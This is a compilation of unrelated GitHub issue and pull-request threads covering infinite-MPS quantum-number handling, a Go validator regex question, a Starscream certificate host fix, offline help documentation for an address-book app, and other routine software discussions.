That sounds great. Improved subspace expansion tools would be very appreciated, hopefully they can also be shared with the solvers in ITensorTDVP.jl/ITensorNetworks.jl since those would also benefit from better subspace expansion methods. @b-kloss and @emstoudenmire have worked on some subspace expansion methods in https://github.com/ITensor/ITensorTDVP.jl/pulls so I'm curous how it relates and if it has some analog for finite MPS.

Also, I think the issue was from a bug in the JuliaFormatter package which is now fixed, hopefully running the formatter again will fix the CI issue.

Hi @mtfishman, yes this looks like a cleaner solution of what I was trying in my fork, I will try it and close the issue. Thanks @LHerviou !

On Thu, Feb 23, 2023 at 10:11 PM Matt Fishman @.***>
wrote:

compression of iMPOs using InfiniteMPOMatrix and the approach by
Parker, Cao et Zaletel in Phys.Rev.B 102
https://doi.org/10.1103/PhysRevB.102.035147 . It is not yet fully
benchmarked so that should clearly be experimental , especially as
it is the simplest, non-fail proof version.

I think @JanReimers https://github.com/JanReimers has a version of that
algorithm working in ITensorMPOCompression.jl
https://github.com/JanReimers/ITensorMPOCompression.jl. Can you join
forces on that? @JanReimers https://github.com/JanReimers, is the
infinite MPO version working?

Yes it is working for InfiniteMPO with dense storage and for some cases
(Trans. Ising) with block sparse storage.  The caveats are:

It assumes all the new QR/RQ code is in ITensors.  But I think those
changes are still in the PR queue.
For block sparse storage the combiners used for SVD/QR/RQ will in
general re-order and combine the QN spaces, breaking regular form.  So
right now I am working on gauge transforming back to regular form after the
decomp operations.  For simple systems like transverse Ising this problem
does not arise. On the other hand, for a Hubbard model the spaces are much
more complicated so I am using that as a benchmark for success.

In any case I am happy to coordinate with @LHerviou
https://github.com/LHerviou! @nbaldelli https://github.com/nbaldelli .
Perhaps their work has eclipsed what I have been doing, in which case I can
possibly contribute with documentation work.
Regards
Jan

Message ID: @.***>

`function initstate(n)
if n%2==0
if (n/2)%2==1
return "Dn"
else
return "Up"
end
else
if (n+1)/2<=19
if ((n+1)/2)%2==1
return "Up"
else
return "Dn"
end
else
return "Emp"
end
end
end
N = 62
s = infsiteinds(n->isodd(n) ? "tJ" : "S=1/2", N; conserve_qns, initstate)
ψ = InfMPS(s, initstate)`
I got
AssertionError: Flux not invariant under one unit cell translation, not implemented

@LHerviou @JanReimers I've moved discussions about other topics (InfiniteMPO generation and compression, iDMRG, subspace expansion, etc.) to #73. Let's keep this PR specific to the improvements to infsiteinds.

Hi @LHerviou, any update on this? Otherwise I could try to merge the same fix from my fork.

Sorry, somehow everything went into my spams.
I will submit my fix today or tomorrow.
Sorry for the delay

Here it is. It passed all the tests on my branch.
A few things:

I improved how it deals with Z_p symmetries. This results sometimes in weird looking fillings, though accurate.
It optimizes the multiplying factor for each QN separately. In the example above, that means (Nf, -19) or (Nf, 43) for the fermionic charge ( there are 19 occupied sites, and 43 free unoccupied), but keeping (Sz, -1),  (Sz, 0), (Sz, 1) for the spin QN (the total Sz is fixed).

There is still problem with this fix.
If then I call
ψ = vumps_subspace_expansion(H, ψ; outer_iters, subspace_expansion_kwargs, vumps_kwargs)

I will get an error message:
Impossible to do a subspace expansion, probably due to conservation constraints

If I am not mistaken, this is independent of the fix, but a limitation
Could you just give me the tight binding form of the Hamiltonian?
Also, which form of H are you using?
Proposed explanation: due to the two U(1) symmetries, blocking occurs and the two-site subspace expansion which is implemented by default cannot expand the bond dimension/the state.
=> typical example, pair hopping c^\dagger_j c_{j+1} c_{j+2} c^\dagger_{j+3} + h.c.

function ITensorInfiniteMPS.unit_cell_terms(::Model"mymodel"; t, Jc, Js, Jk, Jcs, N)
  ampo = OpSum()

    for j in 1:2:N
        ampo += -t,"Cdagup",j,"Cup",j+2;
        ampo += -t,"Cdagdn",j,"Cdn",j+2;
        ampo += -t,"Cdagup",j+2,"Cup",j;
        ampo += -t,"Cdagdn",j+2,"Cdn",j;
        ampo += 0.5*Jc,"S+",j,"S-",j+2;
        ampo += 0.5*Jc,"S-",j,"S+",j+2;
        ampo +=     Jc,"Sz",j,"Sz",j+2;
        ampo += -0.25*Jc,"Ntot",j,"Ntot",j+2;
    end
    for j in 2:2:N
        ampo += 0.5*Js,"S+",j,"S-",j+2;
        ampo += 0.5*Js,"S-",j,"S+",j+2;
        ampo +=     Js,"Sz",j,"Sz",j+2;
    end
    for j in 1:2:N
        ampo += 0.5*Jk,"S+",j,"S-",j+1;
        ampo += 0.5*Jk,"S-",j,"S+",j+1;
        ampo +=     Jk,"Sz",j,"Sz",j+1;
    end
    for j in 1:2:N
        ampo += 0.5*Jcs,"S+",j,"S-",j+3;
        ampo += 0.5*Jcs,"S-",j,"S+",j+3;
        ampo +=     Jcs,"Sz",j,"Sz",j+3;
    end
    for j in 2:2:N
        ampo += 0.5*Jcs,"S+",j,"S-",j+1;
        ampo += 0.5*Jcs,"S-",j,"S+",j+1;
        ampo +=     Jcs,"Sz",j,"Sz",j+1;
    end

  return ampo
end
model = Model("mymodel")

H = InfiniteSum{MPO}(model, s; N)

Probably because the hopping only happens between next-nearest neighbor sites. But at least it needs to give me a more clear and informative error message than that.

It is exactly that, normally. If you have an idea for a better error message, feel free to suggest one.

To expand a bit:
Actually, when I run your code on my version, I do get a subspace expansion for the sites before 19, because the nearest neighbours term J_K can act.
Because of the choice of initialization, the nearest neighbor Hamiltonian acts trivially on the second half of the chain (i.e., it does nothing as the fermionic sites are empty). Then we get stuck because the only non-trivial terms are nearest neighbours.

For example, as you have mentioned, the error is from that the default two-site subspace expansion does not work in this case, so probably the error message could be "Impossible for the default two-site scheme to do a subspace expansion  fails due to the form of the QN conserved Hamiltonian" or pointing our at which line and inside which function the subspace expansion fails. The current error message is difficult for people who are not developer of this repository to trace back where the error happens.

@mingruyang could you start a new issue for problems you come across with subspace expansion (with a minimal runnable code example)?

The simplest test is probably to slightly modify our starting state for Ising or XXZ and check that it knows how to build the correct starting MPS. For example, starting with 3 fermions and 1 hole in XXZ with nsites = 4.
As a side comment, the implementation for Z_n conserved quantities could be improved easily, if you think it is relevant, by instead finding y such that y * nsites = flux [n], if such solution exists.

That would be a nice modification to the tests.
That sounds like a good idea to improve the handling of Zn symmetries!

I will try to do this this weekend then.

Normally this works perfectly, and was running on my side.
It relies on the Chinese remainder theorem for Zp symmetries, i.e. noting N the unit cell, we tried to find y such that
y = 0 mod N and y = flux mod p. Then we just need to find x such that y = N x.
This system admits a solution iff flux = 0 mod( gcd(p, N)), which is not necessarily true. We can find a global multiplier b such that it is true.
The action of the multiplier is flux -> b flux, p -> b p.  b = N is a trivial solution. That was more or less what the previous code was doing.
Now I am a bit more subtle: I try to find the smallest b such that:
b flux = 0 mod gcd(N, p b).
It changes nothing but is more satisfactory and natural.
Case when things changed: N = 3, initstate = +--, flux = 1 mod 2.
Previous version: 1 is not divisible by 3, so we mutiply everything by 3. Gives QN ( 4 mod 6, 1 mod 6)
Current version: gcd(2, 3) = 1, so a solution actually exists: 3 x 1 = 1 mod 2 => work with QN (0 mod 2, 1 mod 2)

Well, the construction of \psi already guarantees that the flux is 0. But I added the @test in any case.

Thanks @LHerviou! Is this good to merge from your end once tests pass?

Yes !


Add "clear cache" button to top of bandcamp page

now that preview state is cached, users should be able to easily clear the cache (for the page) by clicking a button at the top of the page. Ideally, inserted into the actual bandcamp menu.

not sure if this is necessary. closing for now.


Separate transaction creation, signing, and validation, and make it available on a common trait across coins

working on this issue on the crypto-tx-trait branch: https://github.com/walletd/walletd/pull/67
Trying to make the interface general in a way to accommodate different coins and different block stream connectors types used with the coins to get the blockchain data.
Currently planning on implementing the CryptoTx trait on a common struct for each coin that would would represent a general transaction for a given coin.


Add a beep sound when you score a point (bounce or pin the ball).

This takes 24 bytes, unless the sound is disabled using the included %define, which makes it take no space at all.
The frequency of the sound can be changed using the same %define; this sets it as close to the note C3 as I could get with the define, as that sounds fairly OK to my ears.
The beep lasts for almost one frame. If the ball is pinned, though, the beep gets re-triggered in the same frame that it stopped, which makes the sound almost (but not quite) continuous as long as the ball is pinned. In my experience this was not really a problem, and works fairly well as an audible indication of the ball being pinned.
I originally tried to use the print-a-BEL method suggested on the stream, but couldn't get it to work even when using an int10 service that explicitly said that BEL is treated as a control character.
Instead, this drives the PC speaker by controlling the PIT (Programmable Interval Timer) channel that it is connected to. This is a little bit more complicated, but in return allows control over both the frequency and duration of the sound.
Fixes #40
(I know it was set to wontfix, but I don't think this version is too annoying, and it lets you disable the sound if you disagree, so... Up to you.)

@edorfaus this is so cool! Unfortunately I find the sound extremely annoying, especially in the pinned state. Thank you so much for your time and effort, but this is not what I'd like to see in this game. I'm really sorry!


Crash while loading recipes

Describe the bug
When i have KS2 + SE selected and i enable all recipes it crashes
To Reproduce
Steps to reproduce the behavior:
Select KS2 + SE
click on enable all recipes
site crashes
Expected behavior
it would load all recipes
Screenshots
no need
Desktop (please complete the following information):

OS: Windows 10
Browser OperaGX
Version LVL 3 (core: 86.0.4363.64)

Can you clarify what you mean when you say the site crashes? I just tested and this is working as expected. It doesn't find a solution within five seconds on my machine, but that's expected in this case.
If I disable all the "matter", "crushing", and "scrapping" recipes only, I get a solution in about 12 seconds.
The calculator is not highly performant with large matrices. I have some plans to improve this but part of the issue is the complexity of the problem at hand, linear programming can be highly resource intensive.

Testing a little more, you get the best results with:

Item to matter recipes disabled
Matter to item recipes disabled
Crush inserter recipes disabled
Empty barrel recipes disabled

Looks like this comes out to 103 recipes disabled, I'll update the data set to make this the default.

Thanks ill try when this is the default :)

I have not. No solution found is a more serious problem, it means the solver found a loop that it couldn't solve like the one described in the dialog, that is much more difficult for me to resolve. I'll see if I can get reasonable defaults set up in these data sets, looks like I might have been mistaken initially and my suggested default doesn't work as well as I thought, but still working on it.

loaded SE +K2 and clicked on space science again


Enh/shablona cleanup

Removing all of the extra confusing cruft that came from the shablona.
Making CI pass despite the fact we don't have any tests (or code!) yet.
Added AppVeyor badge.

So is the plan still to merge grabbids into this package? Have you had a chance to play with it? It definitely needs a bit more work, but the fundamentals are there and it already covers many of the most common use cases.

Yes - after I merge this PR I'll send another one with grabbids (becoming a
submodule of pybids).
@rwblair has been integrating grabbids into
https://github.com/poldracklab/preprocessing-workflow and it has been
working pretty well so far. Some extensions to the schema were necessary
though (that will come in another PR).
On Tue, Aug 16, 2016 at 12:23 PM, Tal Yarkoni<EMAIL_ADDRESS>wrote:

So is the plan still to merge grabbids https://github.com/INCF/grabbit
into this package? Have you had a chance to play with it? It definitely
needs a bit more work, but the fundamentals are there and it already covers
many of the most common use cases.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/INCF/pybids/pull/6#issuecomment-240210012, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAOkp9BAUwAFc7e7dtBVQBVIpqXMZHViks5qgg45gaJpZM4JlweT
.


Image synthesis through illust2vec.

Thank you in advanced, very helpful article.
In your blog, you mentioned that:

"The model does not support direct modification of such features. I used illust2vec to extract character features such as hair color, eye color, etc. Then I got some ideas from Conditional generative adversarial nets and supplied those features as embeddings to Generator. Now when I generate an image, I add an additional Anime character as input, and the transferred result should look like that character, with the position and facial expression(TODO) of the human portrait kept untouched. The result is like this:"

I wonder is there any pre-trained model of this feature yet?
Regards,
MinakoKojima

Hi MinakoKojima,
Thank you for the interest. Unfortunately the code base has changed quite a lot since I wrote the blog. That experimental idea is still applicable, but it was orthogonal to the main theme, which is to propose a new framework that works well with of deformations, abstractions, and domain shifts during unsupervised image translation. I do not want to further complicate the code base, so I decided against adding that feature in this repository. Sorry!
If you are interested in contributing, I can send you the code I used directly. (It's quite messy and will require some work to make it compatible with this repo.)

Thank you for your reply!
My email address is:
<EMAIL_ADDRESS>


No

To use BioBERT(biobert_v1.1_pubmed), download & unzip the contents to ./additional_models folder.
However, this link is not useful now.


Add HW 5 evaluation by Surya Susarla

Codecov Report
Base: 74.53% // Head: 74.53% // No change to project coverage :thumbsup:

Coverage data is based on head (33566d6) compared to base (c6e3fba).
 Consider uploading reports for the commit 19c3bc7 to get more accurate results

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #57   +/-   ##
=======================================
  Coverage   74.53%   74.53%
=======================================
  Files          15       15
  Lines         326      326
=======================================
  Hits          243      243
  Misses         83       83

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Refs #19721 -- Moved ModelAdmin.list_filter docs into a separate file.

Refs #15031 by @ssb10.
This is the changes for extracting the list_filter docs to a separate file. I've made minimum edits to make the new docs a little more freestanding.
@kezabelle given that you looked at #15031, do you have a moment to glance at the changes here? (Thanks!)

Thank you for the edits @carltongibson. Everything looks good to me!

Thanks @kezabelle, @tim-mccurrach, @felixxm — I've pulled in those comments.
@kezabelle Do you think it's ready to go? (If so can you ✅ for the record :)
As soon as you look, there are bits to rework here from how it was, but I think it's a nice iterative improvement that gives space for the docs needed for #15031


Sentence transformers bump to 2.5.0

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 74.13%. Comparing base (1e4f705) to head (6032d27).

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main     #142   +/-   ##
=======================================
  Coverage   74.13%   74.13%
=======================================
  Files          31       31
  Lines        1678     1678
=======================================
  Hits         1244     1244
  Misses        434      434

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Custom regexp validator not working properly

Package version eg. v8, v9:
v9
Issue, Question or Enhancement:
I created a custom regexp validator, and it works for one regular expression but panics on another. I've confirmed the regular expression that paniced is a valid regular expression and works properly with my custom validator function, so I assume this is a bug with the internals of this package.
I am getting this error:
panic: Undefined validation function 'private' on field 'Visibility'

This is the validation tag that panics:
validate:"required,regexp=^(public|private|unlisted)$"

This is the working validation tag:
validate:"required,min=1,regexp=^[a-zA-Z0-9_]*$"

Code sample, to showcase or reproduce:
This is my custom validator:
func Regexp(fl validator.FieldLevel) bool {
	re := regexp.MustCompile(fl.Param())
	return re.MatchString(fl.Field().String())
}

Hey @lansana, I touch on this in the docs:
regex
	a regex validator won't be added because commas and = signs can be part
	of a regex which conflict with the validation definitions. Although
	workarounds can be made, they take away from using pure regex's.
	Furthermore it's quick and dirty but the regex's become harder to
	maintain and are not reusable, so it's as much a programming philosiphy
	as anything.

	In place of this new validator functions should be created; a regex can
	be used within the validator function and even be precompiled for better
	efficiency within regexes.go.

	And the best reason, you can submit a pull request and we can keep on
	adding to the validation library of this package!

To summarize I highly recommend you don't use a regex validator, many of the common characters used in regexes will conflict with the built-in characters when the tags are parsed; in your specific case the | is a special character that represents and or.
I have added the ability to work around such things, also in the docs:
Pipe ("|") is the 'or' validation tags separator. If you wish to have a pipe included within the parameter i.e. excludesall=| you will need to use the UTF-8 hex representation 0x7C, which is replaced in the code as a pipe, so the above will become excludesall=0x7C
type Test struct {
	Field `validate:"excludesall=|"`    // BAD! Do not include a a pipe!
	Field `validate:"excludesall=0x7C"` // GOOD! Use the UTF-8 hex representation.
}

but then regexes don't look right and so forth
I highly recommend you add a custom validation for each regex, even validator handles it this way internally:

the tag name will be clearer to those not as familiar with regexes
it will be more performant with the regex pre-compiled
the regexes will become reusable
the tags will be more readable, especially if you need a long regex, like for an email.

Ah, thank you for the explanation. In fact, I think the approach of making custom validators per regular expression is the better way to go, because it makes things more maintainable. I ran into the issue of having to copy/paste a regexp over to multiple validators, didn't think of that approach before.
Cheers!


App::VERSION not updated

For some reason when posting the 4.11.0 tag someone forgot to change also the version.
https://github.com/slimphp/Slim/blob/b0f4ca393ea037be9ac7292ba7d0a34d18bac0c7/Slim/App.php#L41
What is this constant for? Didn't find usage in this repository.
Maybe it should be removed and there will be no such problems in the future.

Fixed via latest release:
https://github.com/slimphp/Slim/releases/tag/4.12.0


Add new module : Temperature Conversion

https://github.com/the-vision/jarvis-telegram/wiki

@TeAmP0is0N the PR #68 contains temperature conversion ad well.


Use the host for evaluating trust, not the entire URL

If the trust is evaluated with the entire URL, I get the following error
Error Domain=NSOSStatusErrorDomain Code=-67602 "“*.<redacted>.io” certificate name does not match input" UserInfo={NSLocalizedDescription=“*.<redacted>.io” certificate name does not match input, NSUnderlyingError=0x600002698f60 {Error Domain=NSOSStatusErrorDomain Code=-67602 "Certificate 0 “*.sensiapi.io” has errors: SSL hostname does not match name(s) in certificate;" UserInfo={NSLocalizedDescription=Certificate 0 “*.<redacted>.io” has errors: SSL hostname does not match name(s) in certificate;}}}

Can confirm the fix is working 👍

Also running this fork, fixes trust issues, with the socket that is.

@daltoniam Any reservations on merging this PR?

Looks good. Thanks @patmalt!

Hello guys do you mean starscream compare the common name to the subject alternative name to validate the connection ? (I am using self signed cert with latest vesion)

ps: suggested changes not added isn't it ?
I use the official pod and the changes are not in the tcptransport file
I guess it's time for me to learn how to edit pods
when I edit pods in xcode, changes don't apply
lol !!!!!!!


nucleus top_p sampling seems wrong?

In practice this means selecting the highest probability tokens whose cumulative probability mass
exceeds the pre-chosen threshold p.

I think the original paper is saying that

we order tokens by probability from high to low
do a cumulative sum of probability until the threshold p and stop
accept the tokens along the process, and discard the tokens that hasn't been reached.

However, in the function that performs the nucleus top_p sampling, it does the first two steps right, but instead of discarding tokens beyond certain index in its descending order, it chooses a "cutoff logit":
https://github.com/AI-Hypercomputer/maxtext/blob/4aeabf193efd78af0fb8b865b0d2ac6cd6cbf8a9/MaxText/inference_utils.py#L63
and then it erases all the tokens whose "logits" (instead of indices in the descending ordering!) are less than this particular cutoff element
https://github.com/AI-Hypercomputer/maxtext/blob/4aeabf193efd78af0fb8b865b0d2ac6cd6cbf8a9/MaxText/inference_utils.py#L64
I don't see how this can be correct, unless I misunderstood the top_p sampling algorithm?

ahh I was being stupid


Feat: final feeds page

Closes #494 and #500
Summary:
Implements the design for the feeds page + adds loading state + error state + empty state + pagination
Expected behavior:
When searching for feeds, it's expected that the elements show up in the table

Search query should appear in url
Pagination number should appear in url
Should be able to toggle gtfs schedule / realtime
When no results -> show empty state
Default state is a search for the entire dataset (20 elements at a time)

Testing tips:
Go to the feeds page from the hosted url and play around with search and all it's settings (search, pagination, navigation)
Please make sure these boxes are checked before submitting your pull request - thanks!

[ ] Run the unit tests with ./scripts/api-tests.sh to make sure you didn't break anything
[ ] Add or update any needed documentation to the repo
[ ] Format the title like "feat: [new feature short description]". Title must follow the Conventional Commit Specification(https://www.conventionalcommits.org/en/v1.0.0/).
[ ] Linked all relevant issues
[ ] Include screenshot(s) showing how this pull request works and fixes the issue(s)

Noticing that our default page for search has a lot of deprecated feeds: https://mobility-feeds-dev--pr-514-k371l82f.web.app/feeds. Is it possible to filter out the feeds in the default view with a status of deprecated, so it's a more intuitive experience for users initially? It doesn't look like these are in alphabetical order by provider atm, so curious what the default sort is.
Looks like the full list of transit providers is displayed:

Wondering if there was discussion about this line from the original #494 :

When there are multiple transit providers within 1 result, only display the first one before the comma separation. (There may be cases where this prematurely shortens a transit provider result — that is a fine tradeoff here.)

Can we left justify instead of right when the content doesn't fit on 1 line?

Lastly, I'm wondering if we should modify the spacing of the Data Type section, maybe so the filters are in alignment with the column names? The original design looks slightly off to me now. @Alessandro100 curious for your thoughts

Hey @Alessandro100, the bug I mentioned in Slack still persists.

Goto https://mobility-feeds-dev--pr-514-k371l82f.web.app/feeds
Click Login and Sign in with Google
Click Feeds in header
search for california and hit Search button -> No results show up

Not sure if it's related to the lack of a global user state management reported in #516

Hey @Alessandro100, the bug I mentioned in Slack still persists.

Goto https://mobility-feeds-dev--pr-514-k371l82f.web.app/feeds
Click Login and Sign in with Google
Click Feeds in header
search for california and hit Search button -> No results show up

Not sure if it's related to the lack of a global user state management reported in Lack a global mechanism for managing user states during cold loading #516

Great find, I tested it locally and when you sign into google it seems like there is an error and the user.token becomes undefined. This seems to be a bug not caused by this feature, and should be investigated in a separate ticket

Noticing that our default page for search has a lot of deprecated feeds: https://mobility-feeds-dev--pr-514-k371l82f.web.app/feeds. Is it possible to filter out the feeds in the default view with a status of deprecated, so it's a more intuitive experience for users initially? It doesn't look like these are in alphabetical order by provider atm, so curious what the default sort is.
Looks like the full list of transit providers is displayed:

Wondering if there was discussion about this line from the original #494 :

When there are multiple transit providers within 1 result, only display the first one before the comma separation. (There may be cases where this prematurely shortens a transit provider result — that is a fine tradeoff here.)

Can we left justify instead of right when the content doesn't fit on 1 line?

* Lastly, I'm wondering if we should modify the spacing of the Data Type section, maybe so the filters are in alignment with the column names? The original design looks slightly off to me now. @Alessandro100 curious for your thoughts

The initial search and deprecation values would have to come from additions in the search endpoint (coming in future tickets)
Improved provider names done
Feed Description change done
Data Type styling is ok in my opinion

@Alessandro100 For #1 - I'm confused how this is a search endpoint improvement. Isn't it a different filter setting in the front end?

@qcdyx Could you make an issue for the bug?

@Alessandro100 For #1 - I'm confused how this is a search endpoint improvement. Isn't it a different filter setting in the front end?

we don't load all the feeds and let the frontend sort it out. The backend will only return 20 feeds out of ~2k, so even if I sort in the frontend it will only sort the local 20. Similar issue with the deprecated feed, I can filter them out but only based on the 20 I get from the backend.
If we want to get 20 non deprecated feeds, that logic would have to be done in the backend same with the sort results

@qcdyx Could you make an issue for the bug?

Yes,  resolving #516 fix this bug and #443.


Replace Mapbox with OpenStreetMap

Because of https://github.com/Leaflet/Leaflet/issues/6336#issuecomment-954095682 I suggest to use OpenStreetMap tiles.

You need permission for heavy use - is this heavy use? Who knows because that term is completely undefined which is why everybody that asks OWG just gets a shrug in response.

Originally posted by @tomhughes in https://github.com/Leaflet/Leaflet/issues/6336#issuecomment-954095682
Fix: #6336

Fixed! Thank you for seeing this. I don't know why my IDE has the option "spaces to tabs" if it is not working ...

I like Mapbox tiles

I like Mapbox tiles

With MapBox tiles the issue as described in https://github.com/Leaflet/Leaflet/issues/6336 remains:

apparently the mapbox tokens are confusing more people.


values yaml indentation

currently on UI all yaml has 4 whitespaces for indentation, please change them to two.

Created a PR (devtron-labs/dashboard#200) to fix this

Fixed by https://github.com/devtron-labs/dashboard/pull/200


Rename repository to egeria-connector-ibm-information-server

We should rename this repository to encompass IBM Information Server (the full suite) rather than just IGC.  It already covers some metadata that comes from Information Analyzer, and with the addition of the Data Engine Proxy for DataStage it's covering more and more of the suite as a whole rather than just IGC.

Hi @jmertic @schannamallu -- can one of you rename this repository to egeria-connector-ibm-information-server ?  I've ensured all local changes are committed at this point, so am happy to re-clone once the rename is completed.

I assume there'll be changes needed in the docker scripts in egeria too?

Those changes should in theory already be done, as they pull the compiler jar file directly, which has already been renamed.
I think biggest risk will be a broken link here or there, but I’ll try to catch those via some scans.

Made the change now.


Use temporary mesh for HD low-pass filter initialization

NOT Ready to merge.  This needs reworking.
Feature or improvement description
The ED%y%PlatformPtMesh was being directly altered during HD init to set the low pass filter history stored in discrete states.  Changing an output of a module outside of the CalcOutput call within a module is generally not a great idea.  It can lead to unintended consequences downstream -- such as in VTK writing, or if another module needs that info before it is recalculated.
So instead a temporary mesh is used.
Related issue, if one exists
This issue occurred #2341 (https://github.com/OpenFAST/openfast/pull/2341/files#diff-4a8a64358b038dd979f41ea2dd88c0e588a85d068560c0c1b42f98ae5d453452R1563)
Impacted areas of the software
Glue code, and maybe VTK outputs
Test results, if applicable
No results change with this

After further discussion with @luwang00, there is a problem with this that needs to be addressed.  The logic currently assumes that there is a mesh mapping from ED%y%PlatformMesh to HD%u%<meshes>.  However, this mapping does not exist if SubDyn is used.
I propose we use a temporary mesh mapping from ED to HD for initializing this (the SD%y%Y2Mesh is rigid body motion, so this temporary mapping would be correct for init).

@luwang00, could you make a PR from your branch to dev?  I'll go ahead and close this PR since yours is a much better solution.

Thanks @andrew-platt. Will do.

closing in preference of better solution in #2444


Make help documentation accessible offline #417

Fixes #417.
Also fixes #419.
Proposed merge commit message:
The help window accesses the online version of the documentation.

Users are unable to access it if they are offline. Furthermore, the
application version for the online documentation may not match the
application version that the user is using.

Let's change the help window to use an offline version instead, and
deploy the offline version to the 'src/main/resources/' folder such
that shadowJar will automatically bundle the documentation with the app.

v1
@yamgent submitted v1 for review.

[v1 1/1] HelpWindow: Use offline version of user guide

(:books: Archive)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/1/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you want to fetch this PR to.

@Zhiyuan-Amos can help to check if the HelpWindow still display gibberish text on Mac for this PR? (with reference to #374)

Your PR fixes it.

v2
@yamgent submitted v2 for review.

[v2 1/1] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v1 and v2)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/2/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you want to fetch this PR to.

v3
@yamgent submitted v3 for review.

[v3 1/1] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v2 and v3)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/3/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you want to fetch this PR to.

@yamgent are we putting this on hold until the asciidoc version of the user guide is available?

We can put this on hold, not that urgent currently.

@eugenepeh I need your help. For some reasons, I am unable to get checkstyle to ignore the 'src/main/resources/docs' folder, so Travis keep failing for this PR (I can't reproduce the errors on my local laptop).

@yamgent got it, will check it in a bit

@yamgent the error doesnt seems to come from checkstyle as I removed the checkstyleMain and checkstyleTest from travis gradle build and it still fails
https://travis-ci.org/CS2103R-Eugene-Peh/addressbook-level4/builds/237144841?utm_source=github_status&utm_medium=notification

@eugenepeh Thanks for the help, appreciate it! :) Will take a look at how this can be resolved.

A quick look at the diff shows that src/main/resources/docs/UserGuide.htmland src/main/resources/docs/stylesheets/coderay-asciidoctor.css do indeed not have newline at EOF.
Is there a way to not check build products into the repo?

My thinking was that we would have to modify this script (https://github.com/se-edu/addressbook-level4/blob/master/config/travis/check-eof-newline.sh) to teach it not to check for build products inside the source code directory.

For clarity: I'm saying that build products should not be checked into the repo. Instead, they should be generated as part of the build process (hook onto the processResources gradle task or something)

For clarity: I'm saying that build products should not be checked into the repo. Instead, they should be generated as part of the build process (hook onto the processResources gradle task or something)

Got it, thanks. It currently only generates when doing a shadowJar. I will look at processResources, and also update .gitignore to prevent these offline documentation files from being checked in.

v4
@yamgent submitted v4 for review.

[v4 1/2] Create gradle task for generating offline help documentation
[v4 2/2] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v3 and v4)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/4/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you wish to fetch this PR to.

v5
@yamgent submitted v5 for review.

[v5 1/2] Create gradle task for generating offline user guide
[v5 2/2] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v4 and v5)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/5/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you wish to fetch this PR to.

v6
@yamgent submitted v6 for review.

[v6 1/2] Create gradle task for generating offline user guide
[v6 2/2] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v5 and v6)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/6/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you wish to fetch this PR to.

Stylesheets seem to not load when exported to .jar. Will explore this further.

Exporting to jar:

Windows: Everything works perfectly fine.
macOS: Everything works perfectly fine (although gibberish text, as reported in #374, reappears).
Linux: The page loads but no images and stylesheets.

I suspect that JavaFx, for some reason, fail to resolve the relative path for the resource properly in Linux. I tried replacing the path with an absolute one. For example:
<img src="jar:file:/home/wangleng/Desktop/test-folder/addressbook.jar!/docs/images/Ui.png" alt="Ui" width="790">
This works, but doing absolute path is obviously a very bad idea.
Previously there were some css and resource files bugs for JavaFx's WebView on all platforms, perhaps it got fixed on all platforms except Linux? Can't find any additional info on the web though.
@damithc Not sure how to proceed from here.

As discussed, options:

Confirm it's a known bug and there are no workarounds. In that case we may have to go back to online docs.
We may be doing something wrong. In that case need to debug and fix.

If problematic for both Mac and Linux, we may have to go back to online docs and use something like rawgit to serve different versions of the docs to different versions of the app.

I created an new project that completely isolates the problem (in case anyone's interested: Source Code, .jar File).
I still face the same issue even with the new project (it does not show the text "Hello World" blue and bolded when deployed to jar, which clearly indicates that the .css file is not being properly loaded).
Therefore, I filed a bug report here. The verdict: it looks like they are unable to reproduce the bug at all using the exact same source code and .jar file on their Linux box.
At this stage, I conclude that it is just the problem on my side. I will keep looking, but if I am the only one having this problem, it doesn't seem necessary to delay this PR just because of that.
On a side note:

If problematic for both Mac and Linux, we may have to go back to online docs and use something like rawgit

There was never a problem with the css file on the Mac side (with regards to the gibberish text, both online and offline exhibit this problem so it does not matter either way).

Styling seems to work on my box (linux).

Styling seems to work on my box (linux).

I ran ./gradlew runShadow on this PR branch.

Thanks for confirming @pyokagan, will triple confirm with teammates people, then I will rebase and it is ready for merge.

v7
@yamgent submitted v7 for review.

[v7 1/2] Create gradle task for generating offline user guide
[v7 2/2] HelpWindow: Use offline version of user guide

(:books: Archive) (:chart_with_upwards_trend: Interdiff between v6 and v7)

Checkout this PR version locally
git fetch https://github.com/se-edu/addressbook-level4.git refs/pr/420/7/head:BRANCHNAME

where BRANCHNAME is the name of the local branch you wish to fetch this PR to.


Resumable upload fails with 500 "General exception while processing" when PUT last fragment

Category

[ ] Question
[ ] Documentation issue
[x] Bug

Expected or Desired Behavior
Resumable upload completes successfully
Observed Behavior
For a 67,108,800B file populated with random bytes, createUploadSession works, upload of 1st to 2nd last fragments of 5MB each also works. However, for the last fragment "Content-Range -> bytes 62914560-67108799/67108800", generalException is hit despite the range matches the nextExpectedRanges in the 2nd last fragment upload response.
